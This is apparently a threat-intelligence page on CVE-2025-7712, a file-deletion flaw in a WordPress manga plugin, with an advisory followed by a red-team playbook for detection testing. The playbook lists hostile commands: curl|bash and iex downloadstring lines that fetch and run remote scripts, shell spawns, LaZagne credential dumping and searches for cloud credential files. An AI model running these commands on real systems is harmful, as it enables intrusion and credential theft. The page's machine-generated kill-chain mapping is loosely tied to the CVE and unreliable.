CVE-2025-7712
Overview
This vulnerability is an arbitrary file deletion flaw caused by improper validation of file paths within the wp_manga_delete_zip() function in the Madara - Core WordPress plugin. The root cause is a directory traversal weakness (CWE-22) that allows manipulation of file path parameters without sufficient sanitization. The affected component is the file deletion mechanism in the plugin versions up to and including 2.2.3.
Vulnerability Description
The Madara - Core plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the wp_manga_delete_zip() function in all versions up to, and including, 2.2.3. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Impact
An unauthenticated attacker can exploit this vulnerability remotely to delete arbitrary files on the server, including critical files such as wp-config.php. This unauthorized file deletion can lead to denial of service or facilitate remote code execution by removing or altering key files. The attack requires no user interaction or privileges (CVSS vector AV:N/AC:L/PR:N/UI:N), allowing full exploitation over the network. This can result in significant disruption to the affected WordPress site and compromise of its integrity.
Solution
Users of the MangaBooth Madara - Core plugin should upgrade to a version later than 2.2.3 where this vulnerability is patched. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/f9de8e90-5bda-4ab1-aa78-2748cd717376) provides detailed patch information and update instructions. No official workaround is documented; applying the vendor-released update is the recommended remediation step to eliminate this arbitrary file deletion flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Madara - Core plugin for WordPress stems from inadequate validation of file paths within the wp_manga_delete_zip() function. This oversight allows attackers to exploit the plugin's functionality, enabling them to delete arbitrary files on the server. The lack of stringent checks means that any unauthenticated user can craft a request to delete files that are critical to the operation of the WordPress installation. This could include sensitive files such as the wp-config.php file, which contains database credentials and other vital configuration details. The implications of this vulnerability extend beyond mere file deletion; it can facilitate remote code execution if an attacker successfully removes a critical file and subsequently uploads malicious scripts or files in its place.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can initiate an exploit. Since the vulnerability does not require authentication, it opens the door for unauthenticated attackers to target vulnerable installations of the plugin. An attacker could utilize automated scripts or manual techniques to send crafted requests to the affected function, specifying the path of the target file. Once a critical file is deleted, the attacker can leverage the resulting chaos to upload malicious payloads, effectively gaining control over the server. This scenario highlights the potential for a cascading effect, where the initial file deletion leads to further exploitation and compromise of the entire web application.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on WordPress for their online presence. The ability to delete critical files can lead to significant downtime, loss of data, and potential breaches of sensitive information. For organizations that handle customer data or financial transactions, the repercussions could extend to regulatory penalties and loss of customer trust. The high CVSS score of 9.1 indicates that this vulnerability poses a critical risk, making it imperative for organizations to address it promptly. The potential for remote code execution further amplifies the business risk, as attackers could exploit this to deploy ransomware, steal sensitive data, or disrupt services entirely.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is essential to ensure that all plugins, including the Madara - Core plugin, are kept up to date with the latest security patches. Regularly auditing installed plugins for known vulnerabilities can help identify and remediate risks before they are exploited. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests that attempt to exploit this vulnerability. Monitoring server logs for unusual activity, such as unauthorized file deletion attempts, can also aid in early detection of potential exploitation. Finally, implementing strict file permissions and access controls can limit the impact of such vulnerabilities, ensuring that even if an attacker gains access, their ability to cause damage is constrained.
In conclusion, the vulnerability present in the Madara - Core plugin for WordPress represents a significant threat to the security of web applications. The combination of arbitrary file deletion and the potential for remote code execution creates a critical risk that organizations must address. By adopting proactive detection and mitigation strategies, businesses can safeguard their digital assets and maintain the integrity of their online operations. The importance of vigilance in cybersecurity cannot be overstated, as the landscape of threats continues to evolve, necessitating a robust and adaptive defense posture.
CSURFACE threat intelligence has identified a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-7712, reflecting a near doubling of the likelihood that this vulnerability will be exploited in the wild. Although no new exploit techniques or proof-of-concept code have been observed, the elevated EPSS score indicates growing attacker interest or improved feasibility of exploitation, as inferred from our telemetry and broader threat modeling. This upward trend, now placing the vulnerability near the top percentile of predicted exploitation risk, underscores an urgent need for defenders to reassess their exposure and monitoring strategies. The increased EPSS score amplifies the criticality of CVE-2025-7712, as the potential for arbitrary file deletion combined with remote code execution remains a potent attack vector that could be leveraged by opportunistic threat actors or more sophisticated adversaries alike. While the exploit landscape remains stable, the heightened predictive risk metric signals that exploitation attempts may become more frequent or widespread imminently, elevating the overall threat level associated with the Madara - Core WordPress plugin vulnerability.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-7712 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/f9de8e90-5bda-4ab1-aa78-2748cd717376?source=cve |
| mangabooth.com |
GitHub CVE
|
https://mangabooth.com/product/wp-manga-theme-madara/ |